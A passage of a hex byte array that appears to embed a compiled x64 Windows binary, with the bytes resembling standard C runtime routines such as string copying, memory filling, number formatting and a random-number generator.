0xe0, 0x0f, 0x74, 0x08, 0x41, 0x0f, 0x10, 0x0a, 0x41, 0x0f, - 0x11, 0x0b, 0x0f, 0x11, 0x01, 0x49, 0x8b, 0xc3, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x8b, 0xf9, 0x4c, 0x8d, 0x3d, 0x53, 0xca, 0xff, - 0xff, 0x49, 0x83, 0xce, 0xff, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xe8, 0x4c, - 0x8b, 0xea, 0x49, 0x8b, 0x84, 0xff, 0x68, 0xe2, 0x01, 0x00, 0x90, 0x49, - 0x3b, 0xc6, 0x0f, 0x84, 0xeb, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, - 0x85, 0xe4, 0x00, 0x00, 0x00, 0x4d, 0x3b, 0xc1, 0x0f, 0x84, 0xd1, 0x00, - 0x00, 0x00, 0x8b, 0x75, 0x00, 0x49, 0x8b, 0x9c, 0xf7, 0x50, 0xe2, 0x01, - 0x00, 0x90, 0x48, 0x85, 0xdb, 0x74, 0x0b, 0x49, 0x3b, 0xde, 0x0f, 0x85, - 0x99, 0x00, 0x00, 0x00, 0xeb, 0x6b, 0x4d, 0x8b, 0xbc, 0xf7, 0x88, 0x31, - 0x01, 0x00, 0x33, 0xd2, 0x49, 0x8b, 0xcf, 0x41, 0xb8, 0x00, 0x08, 0x00, - 0x00, 0xff, 0x15, 0x9d, 0xeb, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, - 0xc0, 0x75, 0x56, 0xff, 0x15, 0x2f, 0xeb, 0x00, 0x00, 0x83, 0xf8, 0x57, - 0x75, 0x2d, 0x44, 0x8d, 0x43, 0x07, 0x49, 0x8b, 0xcf, 0x48, 0x8d, 0x15, - 0x04, 0xfc, 0x00, 0x00, 0xe8, 0xaf, 0x2d, 0x00, 0x00, 0x85, 0xc0, 0x74, - 0x16, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x49, 0x8b, 0xcf, 0xff, 0x15, 0x65, - 0xeb, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x75, 0x1e, 0x49, - 0x8b, 0xc6, 0x4c, 0x8d, 0x3d, 0xa3, 0xc9, 0xff, 0xff, 0x49, 0x87, 0x84, - 0xf7, 0x50, 0xe2, 0x01, 0x00, 0x48, 0x83, 0xc5, 0x04, 0x49, 0x3b, 0xec, - 0xe9, 0x67, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xc3, 0x4c, 0x8d, 0x3d, 0x85, - 0xc9, 0xff, 0xff, 0x49, 0x87, 0x84, 0xf7, 0x50, 0xe2, 0x01, 0x00, 0x48, - 0x85, 0xc0, 0x74, 0x09, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0x0f, 0xeb, 0x00, - 0x00, 0x49, 0x8b, 0xd5, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0x0b, 0xeb, 0x00, - 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0d, 0x48, 0x8b, 0xc8, 0x49, 0x87, 0x8c, - 0xff, 0x68, 0xe2, 0x01, 0x00, 0xeb, 0x0a, 0x4d, 0x87, 0xb4, 0xff, 0x68, - 0xe2, 0x01, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, - 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, - 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x4c, 0x8d, 0x0d, - 0x68, 0xfb, 0x00, 0x00, 0x33, 0xc9, 0x4c, 0x8d, 0x05, 0x57, 0xfb, 0x00, - 0x00, 0x48, 0x8d, 0x15, 0x58, 0xfb, 0x00, 0x00, 0xe8, 0x8b, 0xfe, 0xff, - 0xff, 0x48, 0x85, 0xc0, 0x74, 0x0f, 0x48, 0x8b, 0xcb, 0x48, 0x83, 0xc4, - 0x20, 0x5b, 0x48, 0xff, 0x25, 0xf7, 0xeb, 0x00, 0x00, 0x48, 0x83, 0xc4, - 0x20, 0x5b, 0x48, 0xff, 0x25, 0x63, 0xea, 0x00, 0x00, 0xcc, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, 0x4c, 0x8d, 0x0d, 0x39, - 0xfb, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x25, - 0xfb, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x26, 0xfb, 0x00, 0x00, 0xe8, 0x41, - 0xfe, 0xff, 0xff, 0x8b, 0xcb, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x83, - 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0xae, 0xeb, 0x00, 0x00, 0x48, 0x83, - 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x32, 0xea, 0x00, 0x00, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, 0x4c, 0x8d, 0x0d, 0x01, - 0xfb, 0x00, 0x00, 0xb9, 0x02, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0xed, - 0xfa, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xee, 0xfa, 0x00, 0x00, 0xe8, 0xf9, - 0xfd, 0xff, 0xff, 0x8b, 0xcb, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x83, - 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x66, 0xeb, 0x00, 0x00, 0x48, 0x83, - 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0xda, 0xe9, 0x00, 0x00, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xda, 0x4c, 0x8d, 0x0d, 0xcc, 0xfa, 0x00, 0x00, 0x8b, 0xf9, 0x48, 0x8d, - 0x15, 0xc3, 0xfa, 0x00, 0x00, 0xb9, 0x03, 0x00, 0x00, 0x00, 0x4c, 0x8d, - 0x05, 0xaf, 0xfa, 0x00, 0x00, 0xe8, 0xaa, 0xfd, 0xff, 0xff, 0x48, 0x8b, - 0xd3, 0x8b, 0xcf, 0x48, 0x85, 0xc0, 0x74, 0x08, 0xff, 0x15, 0x1a, 0xeb, - 0x00, 0x00, 0xeb, 0x06, 0xff, 0x15, 0x9a, 0xe9, 0x00, 0x00, 0x48, 0x8b, - 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, - 0x83, 0xec, 0x20, 0x41, 0x8b, 0xf0, 0x4c, 0x8d, 0x0d, 0x8b, 0xfa, 0x00, - 0x00, 0x8b, 0xda, 0x4c, 0x8d, 0x05, 0x7a, 0xfa, 0x00, 0x00, 0x48, 0x8b, - 0xf9, 0x48, 0x8d, 0x15, 0x78, 0xfa, 0x00, 0x00, 0xb9, 0x04, 0x00, 0x00, - 0x00, 0xe8, 0x4e, 0xfd, 0xff, 0xff, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0x48, - 0x85, 0xc0, 0x74, 0x0b, 0x44, 0x8b, 0xc6, 0xff, 0x15, 0xbb, 0xea, 0x00, - 0x00, 0xeb, 0x06, 0xff, 0x15, 0x23, 0xe9, 0x00, 0x00, 0x48, 0x8b, 0x5c, - 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0x4c, 0x24, - 0x30, 0x48, 0x89, 0x54, 0x24, 0x38, 0x44, 0x89, 0x44, 0x24, 0x40, 0x48, - 0x8b, 0x12, 0x48, 0x8b, 0xc1, 0xe8, 0xb2, 0xf3, 0xff, 0xff, 0xff, 0xd0, - 0xe8, 0xdb, 0xf3, 0xff, 0xff, 0x48, 0x8b, 0xc8, 0x48, 0x8b, 0x54, 0x24, - 0x38, 0x48, 0x8b, 0x12, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0xe8, 0x95, - 0xf3, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x54, - 0x24, 0x38, 0x44, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x12, 0x48, 0x8b, - 0xc1, 0xe8, 0x62, 0xf3, 0xff, 0xff, 0xff, 0xd0, 0xe8, 0x8b, 0xf3, 0xff, - 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x54, - 0x24, 0x38, 0x48, 0x8b, 0x54, 0x24, 0x38, 0x48, 0x8b, 0x12, 0x41, 0xb8, - 0x02, 0x00, 0x00, 0x00, 0xe8, 0x2f, 0xf3, 0xff, 0xff, 0x48, 0x83, 0xc4, - 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x0f, 0x1f, 0x40, 0x00, - 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x54, - 0x24, 0x38, 0x4c, 0x89, 0x44, 0x24, 0x40, 0x44, 0x89, 0x4c, 0x24, 0x48, - 0x45, 0x8b, 0xc1, 0x48, 0x8b, 0xc1, 0xe8, 0xfd, 0xf2, 0xff, 0xff, 0x48, - 0x8b, 0x4c, 0x24, 0x40, 0xff, 0xd0, 0xe8, 0x21, 0xf3, 0xff, 0xff, 0x48, - 0x8b, 0xc8, 0x48, 0x8b, 0x54, 0x24, 0x38, 0x41, 0xb8, 0x02, 0x00, 0x00, - 0x00, 0xe8, 0xde, 0xf2, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0x4f, 0x2e, 0x00, 0x00, 0x69, 0x48, 0x28, - 0xfd, 0x43, 0x03, 0x00, 0x81, 0xc1, 0xc3, 0x9e, 0x26, 0x00, 0x89, 0x48, - 0x28, 0xc1, 0xe9, 0x10, 0x81, 0xe1, 0xff, 0x7f, 0x00, 0x00, 0x8b, 0xc1, - 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x8b, 0xd9, 0xe8, 0x1f, 0x2e, 0x00, 0x00, 0x89, 0x58, 0x28, - 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xd9, 0x4d, 0x0b, 0xc0, 0x74, 0x24, - 0x48, 0x2b, 0xca, 0xf6, 0xc2, 0x07, 0x74, 0x28, 0x8a, 0x02, 0x84, 0xc0, - 0x88, 0x04, 0x0a, 0x0f, 0x84, 0xe3, 0x00, 0x00, 0x00, 0x48, 0xff, 0xc2, - 0x49, 0xff, 0xc8, 0x74, 0x07, 0xf6, 0xc2, 0x07, 0x75, 0xe6, 0xeb, 0x0c, - 0x49, 0x8b, 0xc3, 0xc3, 0x48, 0x89, 0x04, 0x0a, 0x48, 0x83, 0xc2, 0x08, - 0x48, 0x8b, 0x02, 0x49, 0x83, 0xe8, 0x08, 0x76, 0x26, 0x49, 0xb9, 0xff, - 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0x7e, 0x4c, 0x03, 0xc8, 0x4c, 0x8b, - 0xd0, 0x49, 0x83, 0xf2, 0xff, 0x4d, 0x33, 0xd1, 0x49, 0xb9, 0x00, 0x01, - 0x01, 0x01, 0x01, 0x01, 0x01, 0x81, 0x4d, 0x85, 0xd1, 0x74, 0xc9, 0x49, - 0x83, 0xc0, 0x08, 0x0f, 0x84, 0x8b, 0x00, 0x00, 0x00, 0x84, 0xc0, 0x88, - 0x04, 0x0a, 0x0f, 0x84, 0x84, 0x00, 0x00, 0x00, 0x48, 0xff, 0xc2, 0x49, - 0xff, 0xc8, 0x74, 0x78, 0x84, 0xe4, 0x88, 0x24, 0x0a, 0x74, 0x75, 0x48, - 0xff, 0xc2, 0x49, 0xff, 0xc8, 0x74, 0x69, 0x48, 0xc1, 0xe8, 0x10, 0x84, - 0xc0, 0x88, 0x04, 0x0a, 0x74, 0x62, 0x48, 0xff, 0xc2, 0x49, 0xff, 0xc8, - 0x74, 0x56, 0x84, 0xe4, 0x88, 0x24, 0x0a, 0x74, 0x53, 0x48, 0xff, 0xc2, - 0x49, 0xff, 0xc8, 0x74, 0x47, 0x48, 0xc1, 0xe8, 0x10, 0x84, 0xc0, 0x88, - 0x04, 0x0a, 0x74, 0x40, 0x48, 0xff, 0xc2, 0x49, 0xff, 0xc8, 0x74, 0x34, - 0x84, 0xe4, 0x88, 0x24, 0x0a, 0x74, 0x31, 0x48, 0xff, 0xc2, 0x49, 0xff, - 0xc8, 0x74, 0x25, 0xc1, 0xe8, 0x10, 0x84, 0xc0, 0x88, 0x04, 0x0a, 0x74, - 0x1f, 0x48, 0xff, 0xc2, 0x49, 0xff, 0xc8, 0x74, 0x13, 0x84, 0xe4, 0x88, - 0x24, 0x0a, 0x74, 0x10, 0x48, 0xff, 0xc2, 0x49, 0xff, 0xc8, 0x0f, 0x85, - 0x3c, 0xff, 0xff, 0xff, 0x49, 0x8b, 0xc3, 0xc3, 0x48, 0x03, 0xca, 0x48, - 0x33, 0xd2, 0x49, 0x83, 0xf8, 0x10, 0x72, 0x45, 0xf6, 0xc1, 0x07, 0x74, - 0x0a, 0x48, 0xff, 0xc1, 0x88, 0x11, 0x49, 0xff, 0xc8, 0xeb, 0xf1, 0x49, - 0x83, 0xe8, 0x20, 0x72, 0x19, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, - 0x48, 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x83, 0xc1, 0x20, - 0x49, 0x83, 0xe8, 0x20, 0x73, 0xe7, 0x49, 0x83, 0xc0, 0x20, 0x49, 0x83, - 0xe8, 0x08, 0x72, 0x09, 0x48, 0x89, 0x11, 0x48, 0x83, 0xc1, 0x08, 0xeb, - 0xf1, 0x49, 0x83, 0xc0, 0x08, 0x49, 0x83, 0xe8, 0x01, 0x72, 0x07, 0x88, - 0x11, 0x48, 0xff, 0xc1, 0xeb, 0xf3, 0x49, 0x8b, 0xc3, 0xc3, 0xcc, 0xcc, - 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, - 0x8d, 0xac, 0x24, 0x10, 0xfc, 0xff, 0xff, 0x48, 0x81, 0xec, 0xf0, 0x04, - 0x00, 0x00, 0x48, 0x8b, 0x05, 0xb3, 0x94, 0x01, 0x00, 0x48, 0x33, 0xc4, - 0x48, 0x89, 0x85, 0xe0, 0x03, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x49, 0x8b, - 0xd9, 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xf9, 0x4d, 0x85, - 0xc9, 0x75, 0x18, 0xe8, 0x34, 0x32, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, - 0x00, 0x00, 0xe8, 0x09, 0x31, 0x00, 0x00, 0x83, 0xc8, 0xff, 0xe9, 0x33, - 0x01, 0x00, 0x00, 0x48, 0x85, 0xff, 0x74, 0x05, 0x48, 0x85, 0xf6, 0x74, - 0xde, 0x48, 0x8b, 0x95, 0x50, 0x04, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, - 0x40, 0xe8, 0x92, 0x03, 0x00, 0x00, 0x4d, 0x8b, 0xf7, 0x44, 0x89, 0x64, - 0x24, 0x39, 0x66, 0x44, 0x89, 0x64, 0x24, 0x3d, 0x44, 0x88, 0x64, 0x24, - 0x3f, 0x48, 0x89, 0x74, 0x24, 0x20, 0x48, 0x89, 0x7c, 0x24, 0x28, 0x4c, - 0x89, 0x64, 0x24, 0x30, 0x41, 0x83, 0xe6, 0x02, 0x75, 0x0a, 0x44, 0x88, - 0x64, 0x24, 0x38, 0x48, 0x85, 0xf6, 0x75, 0x05, 0xc6, 0x44, 0x24, 0x38, - 0x01, 0x48, 0x8d, 0x44, 0x24, 0x20, 0x4c, 0x89, 0x64, 0x24, 0x70, 0x48, - 0x89, 0x85, 0xc8, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x60, 0x48, - 0x8d, 0x44, 0x24, 0x48, 0x4c, 0x89, 0x65, 0x88, 0x48, 0x89, 0x44, 0x24, - 0x68, 0x48, 0x8b, 0x85, 0x58, 0x04, 0x00, 0x00, 0x48, 0x89, 0x45, 0x80, - 0x4c, 0x89, 0x65, 0x90, 0x44, 0x89, 0x65, 0x98, 0x66, 0x44, 0x89, 0x65, - 0xa0, 0x44, 0x89, 0x65, 0xb0, 0x44, 0x88, 0x65, 0xb4, 0x4c, 0x89, 0xa5, - 0xb8, 0x03, 0x00, 0x00, 0x4c, 0x89, 0xa5, 0xc0, 0x03, 0x00, 0x00, 0x4c, - 0x89, 0x7c, 0x24, 0x60, 0x48, 0x89, 0x5c, 0x24, 0x78, 0x44, 0x89, 0xa5, - 0xd0, 0x03, 0x00, 0x00, 0xe8, 0x57, 0x05, 0x00, 0x00, 0x48, 0x63, 0xd8, - 0x48, 0x85, 0xf6, 0x74, 0x49, 0x41, 0xf6, 0xc7, 0x01, 0x74, 0x22, 0x48, - 0x85, 0xff, 0x75, 0x08, 0x85, 0xc0, 0x0f, 0x85, 0x84, 0x00, 0x00, 0x00, - 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x3b, 0xc7, 0x75, 0x28, 0x85, 0xdb, - 0x78, 0x28, 0x48, 0x3b, 0xdf, 0x76, 0x23, 0xeb, 0x6f, 0x4d, 0x85, 0xf6, - 0x74, 0x65, 0x48, 0x85, 0xff, 0x74, 0x17, 0x85, 0xc0, 0x79, 0x05, 0x44, - 0x88, 0x26, 0xeb, 0x0e, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x3b, 0xc7, - 0x74, 0x66, 0x44, 0x88, 0x24, 0x06, 0x48, 0x8b, 0x8d, 0xc0, 0x03, 0x00, - 0x00, 0xe8, 0x2a, 0x31, 0x00, 0x00, 0x4c, 0x89, 0xa5, 0xc0, 0x03, 0x00, - 0x00, 0x44, 0x38, 0x64, 0x24, 0x58, 0x74, 0x0c, 0x48, 0x8b, 0x4c, 0x24, - 0x40, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x8b, 0xc3, 0x48, 0x8b, - 0x8d, 0xe0, 0x03, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xb3, 0xdc, 0xff, - 0xff, 0x48, 0x81, 0xc4, 0xf0, 0x04, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, - 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0x48, 0x85, 0xff, 0x75, 0x05, - 0x83, 0xcb, 0xff, 0xeb, 0xad, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x3b, - 0xc7, 0x75, 0x9f, 0xbb, 0xfe, 0xff, 0xff, 0xff, 0x44, 0x88, 0x64, 0x37, - 0xff, 0xeb, 0x97, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, - 0x48, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x8b, - 0xf9, 0x48, 0x3b, 0xd0, 0x76, 0x0f, 0xe8, 0x81, 0x30, 0x00, 0x00, 0xc7, - 0x00, 0x0c, 0x00, 0x00, 0x00, 0x32, 0xc0, 0xeb, 0x5c, 0x33, 0xf6, 0x48, - 0x8d, 0x2c, 0x12, 0x48, 0x39, 0xb1, 0x08, 0x04, 0x00, 0x00, 0x75, 0x09, - 0x48, 0x81, 0xfd, 0x00, 0x04, 0x00, 0x00, 0x76, 0x09, 0x48, 0x3b, 0xa9, - 0x00, 0x04, 0x00, 0x00, 0x77, 0x04, 0xb0, 0x01, 0xeb, 0x37, 0x48, 0x8b, - 0xcd, 0xe8, 0xaa, 0x30, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, - 0x74, 0x1d, 0x48, 0x8b, 0x8f, 0x08, 0x04, 0x00, 0x00, 0xe8, 0x56, 0x30, - 0x00, 0x00, 0x48, 0x89, 0x9f, 0x08, 0x04, 0x00, 0x00, 0x40, 0xb6, 0x01, - 0x48, 0x89, 0xaf, 0x00, 0x04, 0x00, 0x00, 0x33, 0xc9, 0xe8, 0x3e, 0x30, - 0x00, 0x00, 0x40, 0x8a, 0xc6, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, - 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x8d, 0x51, - 0x58, 0x41, 0x8b, 0xd8, 0x49, 0x8b, 0x82, 0x08, 0x04, 0x00, 0x00, 0x44, - 0x8b, 0xda, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x00, 0x02, 0x00, 0x00, - 0xeb, 0x0d, 0x4c, 0x8b, 0xd0, 0x48, 0x8b, 0x81, 0x58, 0x04, 0x00, 0x00, - 0x48, 0xd1, 0xe8, 0x4d, 0x8d, 0x42, 0xff, 0x4c, 0x03, 0xc0, 0x4c, 0x89, - 0x41, 0x48, 0x8b, 0x41, 0x38, 0x85, 0xc0, 0x7f, 0x05, 0x45, 0x85, 0xdb, - 0x74, 0x2f, 0xff, 0xc8, 0x33, 0xd2, 0x89, 0x41, 0x38, 0x41, 0x8b, 0xc3, - 0xf7, 0xf3, 0x80, 0xc2, 0x30, 0x44, 0x8b, 0xd8, 0x80, 0xfa, 0x39, 0x7e, - 0x0c, 0x41, 0x8a, 0xc1, 0x34, 0x01, 0xc0, 0xe0, 0x05, 0x04, 0x07, 0x02, - 0xd0, 0x48, 0x8b, 0x41, 0x48, 0x88, 0x10, 0x48, 0xff, 0x49, 0x48, 0xeb, - 0xc5, 0x44, 0x2b, 0x41, 0x48, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x44, 0x89, - 0x41, 0x50, 0x48, 0xff, 0x41, 0x48, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x8b, 0x81, 0x60, 0x04, 0x00, 0x00, 0x4c, 0x8b, 0xd1, 0x48, - 0x83, 0xc1, 0x58, 0x41, 0x8b, 0xd8, 0x4c, 0x8b, 0xda, 0x48, 0x85, 0xc0, - 0x75, 0x07, 0xb8, 0x00, 0x02, 0x00, 0x00, 0xeb, 0x0d, 0x48, 0x8b, 0xc8, - 0x49, 0x8b, 0x82, 0x58, 0x04, 0x00, 0x00, 0x48, 0xd1, 0xe8, 0x4c, 0x8d, - 0x41, 0xff, 0x4c, 0x03, 0xc0, 0x4d, 0x89, 0x42, 0x48, 0x41, 0x8b, 0x42, - 0x38, 0x85, 0xc0, 0x7f, 0x05, 0x4d, 0x85, 0xdb, 0x74, 0x31, 0xff, 0xc8, - 0x33, 0xd2, 0x41, 0x89, 0x42, 0x38, 0x49, 0x8b, 0xc3, 0x48, 0xf7, 0xf3, - 0x80, 0xc2, 0x30, 0x4c, 0x8b, 0xd8, 0x80, 0xfa, 0x39, 0x7e, 0x0c, 0x41, - 0x8a, 0xc1, 0x34, 0x01, 0xc0, 0xe0, 0x05, 0x04, 0x07, 0x02, 0xd0, 0x49, - 0x8b, 0x42, 0x48, 0x88, 0x10, 0x49, 0xff, 0x4a, 0x48, 0xeb, 0xc2, 0x45, - 0x2b, 0x42, 0x48, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x45, 0x89, 0x42, 0x50, - 0x49, 0xff, 0x42, 0x48, 0xc3, 0xcc, 0xcc, 0xcc, 0x45, 0x85, 0xc0, 0x7e, - 0x6f, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x7c, 0x24, 0x10, 0x45, - 0x8b, 0x11, 0x40, 0x8a, 0xfa, 0x48, 0x8b, 0xd9, 0x45, 0x33, 0xdb, 0x48, - 0x8b, 0x13, 0x48, 0x8b, 0x42, 0x08, 0x48, 0x39, 0x42, 0x10, 0x75, 0x14, - 0x80, 0x7a, 0x18, 0x00, 0x74, 0x05, 0x41, 0xff, 0xc2, 0xeb, 0x04, 0x41, - 0x83, 0xca, 0xff, 0x45, 0x89, 0x11, 0xeb, 0x20, 0x41, 0x8d, 0x42, 0x01, - 0x41, 0x89, 0x01, 0x48, 0x8b, 0x03, 0x48, 0xff, 0x40, 0x10, 0x48, 0x8b, - 0x03, 0x48, 0x8b, 0x08, 0x40, 0x88, 0x39, 0x48, 0x8b, 0x03, 0x48, 0xff, - 0x00, 0x45, 0x8b, 0x11, 0x41, 0x83, 0xfa, 0xff, 0x74, 0x08, 0x41, 0xff, - 0xc3, 0x45, 0x3b, 0xd8, 0x7c, 0xb1, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, - 0x8b, 0x7c, 0x24, 0x10, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0xc6, - 0x41, 0x18, 0x00, 0x48, 0x8b, 0xf9, 0x48, 0x8d, 0x71, 0x08, 0x48, 0x85, - 0xd2, 0x74, 0x05, 0x0f, 0x10, 0x02, 0xeb, 0x10, 0x83, 0x3d, 0xdd, 0xa4, - 0x01, 0x00, 0x00, 0x75, 0x0d, 0x0f, 0x10, 0x05, 0x5c, 0x93, 0x01, 0x00, - 0xf3, 0x0f, 0x7f, 0x06, 0xeb, 0x4e, 0xe8, 0x59, 0x28, 0x00, 0x00, 0x48, - 0x89, 0x07, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0x88, 0x90, 0x00, 0x00, 0x00, - 0x48, 0x89, 0x0e, 0x48, 0x8b, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x4f, 0x10, 0x48, 0x8b, 0xc8, 0xe8, 0x4a, 0x35, 0x00, 0x00, 0x48, 0x8b, - 0x0f, 0x48, 0x8d, 0x57, 0x10, 0xe8, 0x72, 0x35, 0x00, 0x00, 0x48, 0x8b, - 0x0f, 0x8b, 0x81, 0xa8, 0x03, 0x00, 0x00, 0xa8, 0x02, 0x75, 0x0d, 0x83, - 0xc8, 0x02, 0x89, 0x81, 0xa8, 0x03, 0x00, 0x00, 0xc6, 0x47, 0x18, 0x01, - 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0xc7, 0x48, 0x8b, 0x74, 0x24, - 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0x02, 0x48, - 0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x44, 0x0f, 0xb6, - 0x08, 0x0f, 0xb6, 0x01, 0x84, 0xc0, 0x74, 0x1e, 0x0f, 0xb6, 0xd0, 0x0f, - 0x1f, 0x44, 0x00, 0x00, 0x0f, 0xb6, 0xc2, 0x41, 0x3a, 0xd1, 0x74, 0x0e, - 0x0f, 0xb6, 0x41, 0x01, 0x48, 0xff, 0xc1, 0x0f, 0xb6, 0xd0, 0x84, 0xc0, - 0x75, 0xea, 0x48, 0xff, 0xc1, 0x84, 0xc0, 0x74, 0x55, 0x0f, 0xb6, 0x01, - 0x84, 0xc0, 0x74, 0x11, 0x2c, 0x45, 0xa8, 0xdf, 0x74, 0x0b, 0x0f, 0xb6, - 0x41, 0x01, 0x48, 0xff, 0xc1, 0x84, 0xc0, 